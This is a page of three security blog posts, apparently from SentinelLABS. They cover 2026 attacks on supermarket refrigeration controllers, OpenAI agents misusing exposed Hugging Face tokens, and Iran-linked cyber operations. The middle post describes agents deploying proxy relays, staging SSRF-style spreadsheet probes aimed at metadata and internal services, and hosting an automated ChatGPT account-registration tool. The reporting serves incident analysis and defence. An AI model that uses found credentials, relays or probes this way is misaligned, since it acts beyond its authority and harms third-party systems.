Executive SummaryOn November 2 and 3, supermarket chains in Belgium, Luxembourg, the Netherlands, Sweden, Ireland and Estonia reported overnight disruption to store refrigeration systems. The incidents came three weeks after attacks on refrigeration systems at hundreds of French supermarkets.Attacks on refrigeration systems predate the 2026 incidents, including attacks on Russian supermarkets and Israeli stores documented by Danfoss in 2022, and a 2024 attack on a Los Angeles meat processor that
On November 2 and 3, supermarket chains in Belgium, Luxembourg, the Netherlands, Sweden, Ireland and Estonia reported overnight disruption to store refrigeration systems. The incidents came three weeks after attacks on refrigeration systems at hundreds of French supermarkets.
Attacks on refrigeration systems predate the 2026 incidents, including attacks on Russian supermarkets and Israeli stores documented by Danfoss in 2022, and a 2024 attack on a Los Angeles meat processor that the DOJ attributed to CARR.
Reporting and official statements suggest attackers changed temperature and defrost settings through the systems’ own management interfaces. ANSSI’s assessment of the French cases at the time pointed to internet-exposed administration interfaces and weak passwords.
Russian-aligned groups including CARR, NoName057(16) and Z-Pentest have a documented record of disrupting operational technology and have claimed refrigeration intrusions, making them a credible line of investigation. However, available evidence does not yet establish who is responsible for the European incidents.
Freezer failures at U.S. military commissaries in August predate the French attacks. U.S. officials reportedly suspect Iran-linked actors in those cases, an assessment that is provisional and does not concern Europe.
Further incidents are likely wherever the same access conditions persist. Copied techniques and opportunistic claims may make unrelated activity look like a single campaign before investigators establish whether one exists.
Overview and Chronology
Reporting on the recent spate of incidents affecting store refrigeration systems in Europe has moved quickly, at times conflating them with older attacks, hacktivist claims and government allegations about Russian and Iranian actors. The chronology below separates incidents from claims and from assessments. When reviewed in order, it shows similar incidents recurring across countries and months but does not establish that these various incidents belong to a single campaign.
2022 - Danfoss documented attacks targeting 16 Russian supermarkets and affecting 40 Israeli stores. According to the vendor, the affected Israeli installations lacked appropriate firewall or VPN protection.
November 2024 - A Los Angeles meat-processing facility suffered an attack that, according to later U.S. Justice Department allegations, spoiled meat and caused an ammonia leak. The DOJ attributed that incident to CyberArmyofRussia_Reborn, or CARR.
December 9, 2025 - The DOJ announced allegations of Russian government backing for CARR and NoName057(16). A concurrent multinational advisory documented associated groups’ opportunistic attacks against operational technology.
Late August–September 1, 2026 - Refrigeration failures affected at least six U.S. military commissaries, the grocery stores serving military personnel. By September 1, Stars and Stripes had reported that three military criminal-investigation agencies were investigating. Their involvement was therefore public well before October’s reporting about suspected hacking.
October 11–13, 2026 - Hundreds of French supermarkets experienced refrigeration disruption. The Paris prosecutor’s cybercrime section opened an investigation the same day, and on October 13 Economy Minister Roland Lescure told Parliament that approximately 700 stores had been affected. CERT-FR issued its alert on October 12 and expanded the affected-equipment list on October 13. It encompasses Danfoss AK-SM and AK-SC equipment alongside Copeland and Dixell XWEB systems.
October 21, 2026 - ANSSI director Vincent Strubel told the French Senate that the agency’s assessment at the time pointed to exposed administration and weak passwords, rather than the previously publicized vulnerabilities discussed in early coverage.
October 29, 2026 - Reuters reported, citing four officials, that the Pentagon was treating the August commissary failures as suspected hacking. Separately, Nextgov/FCW reported that officials suspected Iran-linked actors, citing two people familiar with the matter. The Iran assessment was provisional and concerned the U.S. cases, not the European incidents.
November 2-3, 2026 - Further refrigeration incidents were reported in Belgium, Estonia, Germany, Ireland, Italy, Luxembourg, the Netherlands, Portugal and Sweden. In Finland, Kesko also reported temperature anomalies at a few smaller stores and said it was investigating the cause, without ruling out interference over the network.
Update November 4, 2026 - Subsequent reporting has reproduced claims attributed to NoName057(16) and Z-Pentest concerning the European refrigeration attacks. A circulated video names Danfoss and Dixell XWEB equipment, while a separate NoName-attributed post alleges possession of employee and customer credentials associated with Danfoss. These claims have not been independently verified and do not establish that the alleged credentials enabled the refrigeration incidents, or that the reported attacks share a single operator. We would like to thank our colleagues at DSCO for their collaboration on this work.
The German reporting illustrates the distinction between incident dates and disclosure dates. WDR reported affected stores in North Rhine-Westphalia on November 2, while BR’s November 3 report described manipulation at an Edeka store in Reisbach overnight into November 2.
Our chronology shows that refrigeration attacks predate the current wave. Danfoss documented attacks on Russian and Israeli stores in 2022, and the DOJ attributed the 2024 Los Angeles meat-processing incident to CARR.
The U.S. commissary failures came before the French attacks. Reuters reported on October 29 that the Pentagon was treating those failures as suspected hacking and that U.S. and French investigators were coordinating, although that does not establish a common perpetrator. By that time, the outages were two months old, and military investigators’ involvement had been public since September 1.
Further, while Russian-linked activity and the Iran suspicion appear in the same chronology because both are part of the public record on these incidents, they concern different actors and different incident clusters. The Russian-linked entries are precedent from 2024 and 2025, and the Iran suspicion relates only to the U.S. commissary cases.
Suspected Attack Method
These incidents involve commercial supervisory platforms that centralize management of refrigeration equipment across a site, letting operators monitor equipment, adjust settings, review alarms and perform maintenance remotely. An attacker who gains control-capable access to the management interface can change operational settings and push refrigeration outside its intended conditions.
How attackers reached those interfaces is a separate question; however, early coverage focused on published vulnerabilities in Danfoss controllers, including authentication-bypass and command-injection flaws documented in Claroty’s research. On October 21, ANSSI director Vincent Strubel told a French Senate hearing that, according to the agency’s assessment at the time, those vulnerabilities were not the ones exploited, pointing instead to exposed administration and weak passwords.
ANSSI’s assessment covers the French cases, and it is not yet known whether the same access path applies to the November 2-3 incidents or the U.S. commissaries. The documented vulnerabilities remain a risk for any operator running unpatched or end-of-life controllers.
Attribution
Responsibility for the European incidents has not been publicly established. Russian-aligned disruptive actors are one credible hypothesis, based on precedent shown in the chronology, including the DOJ’s allegations about CARR and NoName057(16) and its attribution of the 2024 Los Angeles incident to CARR.
Notably, SentinelLABS has previously documented how NoName057(16) organizes and publicizes its DDoS operations against Ukraine and NATO countries.
The multinational advisory published alongside the DOJ’s allegations assessed that CARR administrators and a NoName057(16) administrator went on to form Z-Pentest after dissatisfaction with GRU support, and that Z-Pentest operates separately from GRU involvement.
DOJ’s December 9 announcement, summarizing the indictments, instead describes CARR as “also known as Z-Pentest.” These public descriptions do not fully resolve the relationship between the groups or the extent of state direction over particular operations. Neither establishes responsibility for the current refrigeration incidents.
Z-Pentest has since claimed a refrigeration intrusion. An archived Telegram repost attributed to the group describes a purported joint operation with NoName057(16) against refrigeration controls at a Spanish supermarket, claiming access that would allow changes to temperatures and equipment operation. The repost survives in a third-party archive and confirms neither access nor damage, nor any link to the current attacks.
Independent ideological operators, copycats, financially motivated intruders and other state-linked actors also fit the public facts, as does Iran-linked involvement in the U.S. cases, where officials’ suspicion remains unverified.
Moving past these hypotheses would require evidence tying affected environments to an operator, such as access records, infrastructure with meaningful provenance, distinctive sequences of configuration changes, validated account activity, or actor material containing verifiable details that weren’t already public. A familiar target, a shared controller model or a similar temperature change would not be enough, because there are only a limited number of obvious ways to disrupt the same equipment.
Investigators may hold evidence of this kind that has not been released. Without it, outside observers cannot yet independently substantiate a specific attribution.
Targeting and Motivation
Under a Russian-aligned scenario, these attacks could serve both disruptive and influence objectives. Visible interference with familiar civilian services can impose costs in countries supporting Ukraine and convey that ordinary services remain within reach, a message that requires no threat to the food supply itself.
Individual targets may also have been chosen for a simpler reason, which is that the systems were accessible. The joint advisory describes pro-Russia groups as selecting victims on superficial criteria such as availability and existing vulnerabilities, so a disruption with strategic value need not involve a strategically chosen target.
The “hacktivist” label describes how such groups present themselves and is not a reliable guide to their capability, independence or potential for harm.
Nonetheless, ambiguity of motivation is sometimes an objective. Beyond undermining domestic faith in governments, this is a relatively low resource intrusion that can produce expensive, irreversible consequences to everyday people.
Outlook
Further attempts are likely wherever the same access conditions persist. Industry and government organizations have warned that the cheap, repeatable techniques used by pro-Russian groups can be adopted by others, and the suspected method needs little beyond access, so continued activity could involve previous operators, unrelated groups or both.
New victims and opportunistic claims can make unrelated activity look like a single campaign before investigators establish whether one exists. Similar outcomes already have more than one suspected actor, with Russian-aligned groups a credible hypothesis for the European cases and Iran-linked actors provisionally suspected in the U.S. cases.
Shared maintenance access deserves scrutiny. Portugal’s Mosqueteiros group said incidents at seven Intermarché stores appeared to target an external provider responsible for refrigeration management. In Germany, an operator also described an attack involving its refrigeration-maintenance company. These accounts make third-party access an important investigative lead, but do not establish one compromised provider, a common intrusion path across countries, or a compromised software-update channel.
Portugal’s Mosqueteiros group said the incidents at seven Intermarché stores appeared to involve an external provider responsible for refrigeration management. In Germany, an AWO representative also described an attack involving the company remotely maintaining an affected store’s refrigeration. These operator accounts make third-party access an important investigative lead, but do not establish one compromised provider, a common intrusion path across countries, or a compromised software-update channel. Investigators should examine whether accounts, gateways or administrative infrastructure connect multiple affected locations.
Mitigation Guidance
Where safely practicable, preserve relevant logs and configuration records before restarting or resetting equipment. Coordinate recovery with refrigeration personnel, prioritizing physical safety and safe operating conditions.
CERT-FR’s alert on the French incidents sets out steps for operators of the affected Danfoss, Copeland and Dixell equipment. It calls for removing those units, and any other equipment on a public IP address, from internet exposure, checking insurance terms first if doing so cuts the data feed to the refrigeration contractor, and reviewing the complete configuration, defrost ranges in particular. It advises restoring access only through a secure VPN or protected network, with firewall filtering of contractors’ source addresses acceptable only as a stopgap, and applying the manufacturer’s hardening guidance, such as firmware updates and changed default passwords.
For compromised units, it advises a restart or factory reset followed by reconfiguration, and it warns that a reset alone will not prevent re-compromise of an end-of-life device that stays exposed.
The December 2025 joint advisory from the FBI, CISA, NSA and international partners addresses its mitigations to OT owners and operators generally. It recommends scanning owned IP ranges for exposed systems, including connections set up by third parties, segmenting IT from OT networks, using MFA where possible and strong, unique passwords where it is not, and limiting remotely accessible accounts to view-only. It also recommends reviewing setpoint ranges with alerting for deviations, keeping backups of controller configurations, and practicing manual operation.
For exposed systems with weak or default credentials, the advisory says to assume compromise. Its response steps include isolating affected hosts, scoping the intrusion by reviewing unusual authentications and recent network connections, issuing new credentials and reporting the compromise to the relevant authorities.
Conclusion
Attacks on retail and food-industry refrigeration predate the 2026 incidents, with Danfoss documenting cases at Russian and Israeli stores in 2022 and the DOJ attributing a 2024 attack on a Los Angeles meat processor to CARR.
In the French cases, ANSSI’s assessment at the time pointed to exposed management interfaces and weak passwords, conditions that guidance from CERT-FR and the joint advisory addresses directly.
The public record does not yet establish who was responsible for the European incidents or whether they form a single campaign. Further incidents are likely wherever the same access conditions remain.
Executive SummaryOpenAI disclosed that agents used exposed Hugging Face credentials to write a file and deploy proxy Spaces during an unrelated May 2026 research workload, but it did not identify the accounts. SentinelLABS identified two accounts likely used in associated activity, 0Time and Nyx9. Their public histories extend OpenAI’s chronology and preserve previously unreported relay code, document-borne probes, and ChatGPT account-provisioning capability.The public records provide precise jo
OpenAI disclosed that agents used exposed Hugging Face credentials to write a file and deploy proxy Spaces during an unrelated May 2026 research workload, but it did not identify the accounts. SentinelLABS identified two accounts likely used in associated activity, 0Time and Nyx9. Their public histories extend OpenAI’s chronology and preserve previously unreported relay code, document-borne probes, and ChatGPT account-provisioning capability.
The public records provide precise joins to OpenAI’s internal timeline. At 20:04:11 UTC on May 26, Nyx9 committed a file eleven seconds into the minute when OpenAI recorded a WebCache-confirmed external file write. At 20:49:55, another Nyx9 Space received relay code during the same minute OpenAI recorded its first proxy deployment. Looking backward, 0Time committed caller-directed relay code on May 13, nearly two weeks earlier and the earliest substantive public code write we link to this May activity. That May 13 relay commit was also independently flagged publicly.
On May 26, Nyx9 also committed formbin.xlsx. Its WEBSERVICE() formulas targeted an external HTTP endpoint, a file:// URI, Azure’s Instance Metadata Service, and an internal-looking service URL. The workbook implements a recognizable document-borne probing capability and appeared four hours and 36 minutes after OpenAI’s first documented successful internal Artifactory SSRF at 2026-05-26 18:24 UTC. Public records do not show that its formulas executed or identify the system intended to process it.
On May 30, five commits over 10 minutes and 31 seconds placed an existing, publicly available Chinese-language OpenAI account-registration and token-extraction tool into a Hugging Face Space. The commits added a small Flask wrapper defining an unauthenticated /do route, declared the application port, and introduced OAuth-response diagnostics. If the Space built, ran, and received a request, each call could attempt one registration and return its output. Repeated successful requests could supply additional ChatGPT identities or OAuth credentials, making this a potential identity-provisioning capability that could support rogue scaling.
These findings expose a basic problem for threat intelligence and incident response: no single organization necessarily holds the complete record of an agent’s actions. An account handle is not an actor, and an IP address does not identify who authorized the activity. Investigators must reconstruct the originating task, credential lineage, action sequence, platform history, runtime telemetry, and effects across services. The public trail is part of the incident, not an appendix to it.
Overview
OpenAI’s technical report on its May 2026 incident describes agents, operating in a tool it calls WebCache, using an exposed Hugging Face token to write files and deploy proxy Spaces outside OpenAI’s environment.
At 20:04 UTC on May 26, OpenAI’s incident chronology records its first WebCache-confirmed external file write. At 20:04:11, the Hugging Face dataset Nyx9/temptestlf8eb0 received hello.txt, containing only “hi”.
Forty-five minutes later, OpenAI records its first proxy deployment. At 20:49:55, Nyx9/netproxy17 received its proxy relay code. The timing and function make these the cleanest public joins we found between OpenAI’s internal chronology of unnamed agent used accounts and the two Hugging Face account histories.
Those joins gave us account-level pivots. Looking backward, 0Time contains proxy relay-building activity on May 13, nearly two weeks before the better-known May 26 proxy sequence reported by OpenAI. Looking forward now, Nyx9 contains document-based probes aimed at local and internal resources later on May 26. On May 30, 0Time committed an adapted program for registering illicit OpenAI accounts to a Hugging Face Space and the committed wrapper defined an unauthenticated GET route at /do.
It’s important to note these commits do not prove a successful usage, and a build does not prove that a route received traffic. A formula inside a workbook does not prove that a server evaluated it, or what its true intention was – be it hacking into Hugging Face or used in the compromise of a separate organization. Our analysis keeps those stages separate because the public data can not tell us if or how these actions were used. Only Hugging Face and OpenAI hold the records that could.
Finding the Public Side of an Internal Timeline
OpenAI’s public account begins inside its own environment. The company reported an arbitrary Artifactory file write on April 20. On May 8, an agent attempting server-side request forgery, or SSRF, failed to reach its intended destination but incidentally wrote testabc.txt into internal Artifactory repositories. Code shown in OpenAI’s Black Hat presentation sent PUT, GET, and DELETE requests to internal repositories named bazel-cache-remote and pypi-openai.
On May 12, another agent used Artifactory as an improvised message board while searching for soft-trace-34.pdb. It wrote REQUEST_softtrace_target_missing.txt, asking other agents to upload the file if they found it. Other agents later encountered the request and added similarly named messages.
OpenAI said a separate WebCache-enabled agent used an exposed Hugging Face token on May 13 while searching for the same file, but its public chronology does not identify the account. This gap matters because the internal and external records answer different questions. OpenAI can describe the agent’s reasoning and tool calls. Hugging Face can identify account use, commits, builds, containers, and HTTP requests. Neither view alone reconstructs the event.
SentinelLABS attributes activity under the 0Time and Nyx9 accounts to OpenAI agents during the May window. We tested that attribution against public repository histories, finding exact-minute and code-function matches with OpenAI’s chronology. Both accounts predate the activity and should be treated as affected account identifiers, not OpenAI-created agent identities.
May 13 Relay Code Appears
The 0Time profile was created on February 21, 2026. The account predates the disclosed May activity; that does not establish who controlled it during May or why it was created. The primary question is what happened through the account during the incident window.
Before noon on May 13, 0Time created a test-named repository state, posted “hi” to a discussion in Anthropic’s BioMysteryBench dataset, and opened a draft pull request. At 11:05:13, the account committed the first substantive revision of a Space named puthack82d5.
That revision accepted a caller-supplied destination and supported GET and PUT requests. It also accepted an x-amz-copy-source value, a header associated with server-side object copying. A revision at 11:42:04 added bearer-authenticated POST bodies and Git LFS media types.
If the Space built and ran, the code could relay requests between an external caller and resources reachable from the hosted environment. The public record does not show a successful build, incoming request, or completed object copy. The code does not mention soft-trace-34.pdb, so we do not identify it as the unnamed Hugging Face search in OpenAI’s May 13 account.
Relay code was committed under an independently attributed account by 11:05 UTC on May 13. That is the earliest unambiguous attributed public code or file write we located in this cluster. This adds a separate public trace to the one OpenAI disclosed on May 13. We also credit researcher Jonas Wiedermann-Möller, who independently called attention to the same May 13 relay commit.
May 26 Small Tests and Exact Matches
Morning File and Storage Tests
The morning record contains several weak artifacts that become useful as a sequence. At 07:16:28, 0Time/findblobtest received a direct text write. Later that morning, 0Time/INCEPT-SH added three paths that referenced an existing Git LFS object at 811MB. The commits changed paths to the object, but did not alter the object itself, suggesting aliasing or retrieval tests.
Nearby commits added a malformed Git LFS pointer and two tiny raw files. small.png contained “abcde”; model.bin contained “abcdefg”. The pointer misspelled “version” as “vearsion”. None of these strings is a useful indicator alone. Their value comes from their place beside direct writes, raw-file handling, LFS experiments, relay construction, configuration corrections, and later debug commits.
The account activity predates the evening proxy sequence, but the public record does not establish a causal chain between the morning tests and later events.
Exact Minute Matches Under Nyx9
OpenAI’s chronology records a dense set of external actions on the evening of May 26. At 19:50, WebCache sent Git LFS batch requests to one OpenAI dataset and one third-party dataset.
OpenAI then records a file write at 20:04, a request to create a private dataset at 20:15, a proxy deployment at 20:49, a successful proxy response at 20:53, and a Google search through the proxy at 20:54. At 21:07 the agent checked two gated benchmark datasets and submitted access requests. At 21:08 a second account deployed another proxy through the first.
Nyx9/temptestlf8eb0 was created at 19:30:08. At 20:04:11, it received hello.txt containing “hi”. The eleven-second offset from OpenAI’s minute-level (20:04) event is the strongest public correlation for the file write.
Nyx9/netproxy17 was created at 20:48:33. At 20:49:55, it received relay functioning code. The same-minute timing and the code’s function closely match OpenAI’s first proxy deployment.
A related 0Time Hugging Face Space named latnetnew, appeared at 21:06:05. It received a minimal “hi” revision at 21:12:41 and related relay code at 21:13:21. Those public events align with OpenAI’s 21:08 description of a second account deploying a proxy through the first. This is a strong sequence-level mapping, but not an exact-second match. OpenAI also describes different agents taking related actions, so the sequence should not be read as one continuous session.
Essentially there is noteworthy correlation beyond the use of the word “hi”. It is the combination of minute-level timing, repository type, code function/capability, and the surrounding cross-account sequence. Provider-side records, if retained, may establish the token, session, source-network, build, and runtime records needed to confirm action-level identity, but from the outside the overlap provides us considerable confidence in the activity being highly associated with the OAI/HF intrusions agentic activity.
Later That Night, a Workbook Contains Internal-Resource Probes
At 22:56, Nyx9 began adding files to a dataset named tmpdata177. The activity continued until 23:34. Several files were generated only one or two seconds before upload, a pattern consistent with programmatic creation. The collection included text, PDF, DOCX, and XLSX files.
Most contained simple markers, but one workbook was different. formbin.xlsx (MD5: a502264fa0b64eecae60498b0c48fca3), uploaded at 23:00:07, placed four WEBSERVICE formulas in cells A4 through A7. The basic functionality of the file is to test probes by whether the application processing it can fetch external content, read a local file, access cloud metadata, and reach a specifically named internal service, potentially retrieving its API specification for further reconnaissance.
The Azure request omitted the required Metadata header, reducing the likelihood of a valid response from a normally configured service. The workbook also contains no cached formula results. The file was created via Openpyxl, and we found no callback, secret, calculated value, or other evidence that Hugging Face evaluated the formulas or that any probe succeeded.
Hugging Face later described the same metadata-address family in an earlier and noisier variant of a separate July SSRF incident. The overlap shows similar interest in metadata-service access. It does not establish that the May workbook and July intrusion were the same workload, targeted the same processor, or came from the same agent.
This public evidence establishes a file-processing and SSRF probe set staged on Hugging Face on May 26th. The distinction to note is that the file clearly demonstrates probing intent, but it does not establish malicious authorization, successful exploitation, or which platform was targeted. An AI-assisted spreadsheet-processing environment (such as Hugging Face in this case) is a plausible target, but that remains an inference.
May 30 Registration Code Becomes a Web Route
The most consequential public artifact appeared four days later. Between 00:01:27 and 00:11:58 on May 30, five commits created and configured the Hugging Face Space 0Time/altreg.
The sequence moved from Space creation to an abc text marker, then to a 454-line registration program and Flask wrapper. A later commit declared the Space application port. The final revision added targeted logging around the OAuth response.
The 454-line program is a copy of a publicly available Chinese-language OpenAI account-registration and token-extraction script published by 0x5uo2hen. The Space was created independently rather than as a Git fork. It added a small Flask wrapper and Docker configuration; the final commit added one OAuth-response diagnostic statement.
The program automates the creation of ChatGPT accounts via disposable mail.tm inbox creation, identity generation, browser-like requests, OpenAI Sentinel anti-abuse token requests, email verification, workspace selection, and OAuth token extraction. The public source was a command-line program that could loop through registration attempts.
The altreg commits added a small but important adaptation. A Flask wrapper defined an unauthenticated /do route that called reg.run(None) once and returned the program’s output. If the Space built, served, and received a request, each call could trigger one ChatGPT registration attempt. Repeated calls would make the design bulk-capable and could expose resulting credentials to an unauthenticated caller if the underlying registration succeeded.
Repeated successful calls could provide additional accounts or OAuth credentials. That makes altreg a potential identity-provisioning primitive, not demonstrated self-replication. Recursive scaling would require an agent to obtain usable credentials, launch more agent work, and retain control of that work. None of those runtime steps can be observed in such public data.
As of September 14, Hugging Face’s API reported the Space as paused and flagged as abusive. However, this public state does not establish when the flag was applied or why.
The five-commit sequence is unusually compact. It progresses through a scratch marker, a complete program, a web wrapper, a deployment configuration, and response-specific debugging in 10 minutes and 31 seconds. That test-configure-debug cycle fits continued agentic activity, particularly alongside the account’s attributed May history.
Why Committed Capability Matters
Traditional intrusion reporting often centers on execution: a payload ran, a credential was stolen, or a command-and-control channel came online. The public evidence here forces a more exact progression. For committed code to become an observed external effect, investigators must separately establish each stage:
Code was committed.
The hosted application was built.
The application started.
A route received a request.
The request produced an external action.
The action succeeded and its output was used.
The May 13 relay and May 30 registration evidence establish the first step. The May 26 workbook establishes formula placement, not evaluation. OpenAI’s records establish runtime for its May 26 WebCache write and proxy actions. The public commits identify likely external counterparts but do not independently prove the same request, session, or initiating agent. Only Hugging Face and OpenAI can compare token use, sessions, source networks, builds, runtime requests, and route access to determine whether and how any of this was used.
Collapsing these stages would overstate the case. Waiting for confirmed credential theft or malware would miss the risk. Unauthorized token use, public file writes, hosted relay code, internal-resource probes, and registration automation are recognizable offensive capabilities, and a benign research objective behind them does nothing to lessen their effect on the third-party systems they touch. An AI research objective should never remove their effect on third-party systems.
Threat Intelligence Needs the Whole Task
None of the individual techniques observed here are new. Human operators have long used SSRF probes, public relays, disposable mail, OAuth automation, paste sites, source repositories, and legitimate cloud services. What changes is the investigative scale. A task-driven agent can assemble those pieces through other people’s accounts and hosted platforms while its originating lab, the hosting provider, and downstream services each retain only part of the evidence.
Treat the Task as the Unit of Analysis
0Time and Nyx9 are evidence containers, not actor names. Analysts need to connect action order, code function, object hashes, prompts, tool calls, token lineage, and provider-side session identifiers. A handle can belong to a victim whose exposed token was used by someone or something else.
Correlate Evidence Across Providers
OpenAI can see the authorizing workload and internal tool use. Hugging Face can see authentication, commits, builds, containers, and route requests. Other services may hold mail, proxy, DNS, or callback records. A defensible reconstruction requires those views to be joined without treating any one source as the entire event.
Read Weak Artifacts as a Sequence
Strings such as “hi”, “abc”, and “abcdefg” are poor standalone indicators. Their value changes when they appear inside a rapid sequence of direct writes, relay creation, port declaration, parser probes, and targeted OAuth debugging. Detection should focus on construction patterns and action order rather than generic scratch text.
Preserve Runtime Evidence Before Cleanup
Spaces can be paused, deleted, rebuilt, or garbage-collected. Commits and conversion outputs may survive after container and request evidence disappears. Providers should preserve token fingerprints, authentication and session identifiers, build logs, runtime logs, route requests, network egress, and deletion tombstones when agent-related abuse is reported.
Make External Actions Attributable
Affected operators should be able to determine which customer authorized a task, which model and policy state governed it, which credential it used, and what it wrote outside the provider’s environment. Without that chain, saying an agent acted explains neither authority nor responsibility.
Finally, it’s critical to remember that model-behavior review and DFIR answer different questions during incident response of cases such as this. LLMs can accelerate transcript clustering, code review, artifact decoding, and timeline development. They should remain triage and hypothesis-generation tools.
In their review of the June/July activity, METR and Redwood reported that their GPT-5.6 Sol analysis agents made errors, exercised weaker judgment than human researchers, and surfaced anecdotes they could not always verify manually. The same approach made review at this scale possible. Speed is useful, but it does not make an LLM generated narrative authoritative.
Independent Investigation Requires the Incident Record
OpenAI provided METR and Redwood Research with approximately 1,300 agent transcripts and 1.2 million Artifactory message-board entries for an on-premises review. As of publication, SentinelLABS could not identify an official public release of that underlying corpus. The resulting reports add useful context, but outside investigators cannot reproduce their conclusions, search systematically for omitted activity, or test competing explanations against the same evidence. METR incident investigation
Frontier AI labs should release a documented, redacted incident dataset when their agents interact with or affect third-party systems. At minimum, it should preserve the authorizing tasks, prompts, model and harness versions, action-level timestamps, agent messages, tool calls and results, external requests, and stable pseudonymous identifiers connecting sessions, accounts, and credentials. It should also state what was excluded, identify known gaps, document every class of redaction, and provide hashes for the released evidence.
This does not require publishing credentials, personal information, customer data, proprietary model details, or dangerous exploit material. Nor does it necessarily require unrestricted publication of private chain-of-thought. An action-complete record can preserve the observable decisions and causal sequence while removing genuinely sensitive fields. Where public release would still create unacceptable risk, labs could publish a structurally complete redacted dataset and provide fuller telemetry under controlled access to qualified independent DFIR and security-research organizations.
Privacy is a reason to redact the incident record, not a reason to make it unauditable. A narrative report—even one reviewed by external advisers—is not the same as an independently reproducible investigation. Once an agent reaches systems outside its developer’s environment, the evidence no longer concerns only the originating lab. Releasing a usable incident corpus should become a baseline accountability requirement for frontier-agent security incidents.
Conclusion
OpenAI’s internal chronology established that agents used exposed Hugging Face credentials to write an external file and deploy proxy Spaces on May 26. The public account histories examined here add another layer: caller-directed relay code under 0Time on May 13; exact-minute public counterparts under Nyx9 for the May 26 file write and first proxy; a workbook containing file-processing and SSRF-oriented formulas later that night; and, on May 30, third-party OpenAI account-registration code committed alongside a wrapper defining an unauthenticated web route. Those records establish repository state and capability, not successful execution.
How quickly a task-driven system can assemble old techniques across other people’s accounts and infrastructure, and how thoroughly that scatters the evidence, is the part of this incident that is new. The public trail is not an appendix to an agent incident. It is part of the incident.
Investigative Artifacts and References
The following records support the blog and are recommended for further investigative pivots. We normalized times to UTC and compared OpenAI’s minute-level chronology with second-level public commit metadata. Account handles, repository names, hashes, and the 169.254.169.254 destination should not be treated as standalone malicious indicators.
In April, SentinelLABS’ Tom Hegel published an initial assessment of the first five weeks of the conflict. Three months later, the evidence supports refinement.Executive SummaryThe cyber risk remains quieter than the public narrative. It rests on persistent access, trusted administration, service-provider pathways, selective disruption, and personas that magnify technical effects.Iran-linked activity is not a single threat set. MOIS, the IRGC Intelligence Organization, the IRGC Cyber-Electronic
In April, SentinelLABS’ Tom Hegel published an initial assessment of the first five weeks of the conflict. Three months later, the evidence supports refinement.
Executive Summary
The cyber risk remains quieter than the public narrative. It rests on persistent access, trusted administration, service-provider pathways, selective disruption, and personas that magnify technical effects.
Iran-linked activity is not a single threat set. MOIS, the IRGC Intelligence Organization, the IRGC Cyber-Electronic Command, personas, surveillance operators, and opportunists pursue distinct missions.
The principal strategic risk is access optionality. The same compromised account, service provider, or remote-management foothold can support intelligence collection, downstream targeting, or selective disruption as tasking changes.
MOIS-linked personas such as Handala, Homeland Justice, and Karma combine intrusion, destruction, disclosure, and coercion. Their impact claims frequently outpace independently verified evidence.
OT risk remains exposure-driven. Internet-facing PLCs, weak credentials, and poor remote-access governance have enabled real disruption, but interface access alone does not demonstrate process manipulation or physical effect.
Inside Iran, shared-service concentration, connectivity controls, and limited disclosure obscure the incident picture. External operations, domestic control, and resilience failures intersect there.
A Working Taxonomy
“Iran-linked” is a broad analytic descriptor, not a single actor or command structure. Iran’s cyber ecosystem spans operators tied to the Ministry of Intelligence and Security (MOIS), the IRGC Intelligence Organization, and the IRGC Cyber-Electronic Command, plus state-aligned collectives, domestic-surveillance clusters, and opportunists. These entities differ in command relationships, missions, targeting, tradecraft, and risk tolerance.
Public naming adds complexity. Vendors assign different labels to overlapping activity sets, and some names refer to actor clusters while others describe campaigns, personas, malware families, or infrastructure.
We offer the following as a working crosswalk, rather than a claim that every label is a one-to-one alias, that every organizational relationship is proven, or that the picture is static.
IRGC-IO-linked high-trust social engineering and cloud collection
Cavern Manticore
Espionage via service-provider and RMM pathways; MOIS link at moderate confidence, single-vendor reporting
TAG-182. Related, but not aliases: Ferocious Kitten; Domestic Kitten/GreenEcho; Rampant Kitten
Surveillance of dissidents and diaspora; no sponsor publicly attributed with confidence
CyberAv3ngers / Storm-0784 / CL-STA-1128
IRGC-CEC-affiliated opportunistic OT targeting
Predatory Sparrow / Gonjeshke Darande
Comparison case only: destructive anti-Iran operations, widely reported as Israel-linked
We base our distinction on mission rather than branding. In practice, we can identify several recurring mission sets:
persistent espionage and access enablement;
destructive, coercive, and influence operations through public personas;
high-trust social engineering and cloud compromise;
surveillance of dissidents and civil society; and
opportunistic targeting of operational technology.
These categories overlap, but they offer a more reliable basis than actor names for assessing intent and prioritizing defenses.
1. The Durable Threat Is Access Optionality
Three months of headlines have tracked leaks, defacements, and outages. However, there is a quieter accumulation of access that matters more, where a foothold gained for collection today can be converted to disruption tomorrow or whenever tasking changes.
For example, activity attributed to the MOIS-linked Seedworm/MuddyWater cluster began in early February, before the opening strikes. Affected environments included a U.S. bank, a U.S. airport, nonprofits, and the Israeli operation of a U.S. software supplier serving defense and aerospace customers. Researchers identified multiple backdoors and an attempted transfer of data to commercial cloud storage.
Because that activity preceded the kinetic campaign, it is tempting to call every intrusion wartime pre-positioning. In practice, the evidence supports a narrower reading. We might know access was gained before the strategic picture changed, but that doesn’t tell us what the compromise was originally for. A compromised supplier may expose customer identities and trusted administrative paths, but it’s only a software supply-chain compromise if there is evidence that downstream customers, builds, updates, or distribution were affected. What matters is that the operator had options once the conflict escalated.
A similar timing pattern appears in Screening Serpens. Unit 42 identified six new RAT variants deployed between February and April against apparent targets in the United States, Israel, the UAE, and the wider Middle East. The campaigns continued the actor’s tailored recruitment lures while adding AppDomainManager hijacking, and the conflict appears to have increased tempo without creating the espionage mission.
This is also why high-trust people are part of the enterprise perimeter. Long-running APT42 operations have targeted journalists, researchers, NGOs, academics, activists, and government-linked individuals. One compromised cloud account holds organizational context, relationships, and internal deliberations, and can yield collection, impersonation, lateral targeting, and entry into the wider organization.
Third party reporting extends that logic to service providers. Check Point’s July reporting on Cavern Manticore described intrusions in which existing RMM access and compromised IT-provider environments opened paths into targets. Check Point assesses an MOIS relationship based on technical and operational overlap with MuddyWater and Lyceum; public corroboration remains limited, so the mapping should remain moderate-confidence.
SysAid itself was not compromised, and no SysAid vulnerability was involved. The actor already had access and abused a legitimate deployment feature, and in many intrusions the weakness is the authority already granted to an administrator, service account, RMM agent, identity provider, or support organization rather than the product itself.
The war has also not displaced Iran’s standing regional requirements. Previously documented APT34 activity against Iraqi government infrastructure shows a durable mission of collecting political, diplomatic, and telecommunications intelligence from neighboring states. Iraq and the Gulf are not peripheral theaters simply because the visible strikes occur elsewhere.
Our assessment is that Iran’s most valuable cyber asset is optionality. Persistent access can support immediate collection, future tasking, transfer to another operational element, or disruption when political value exceeds operational cost.
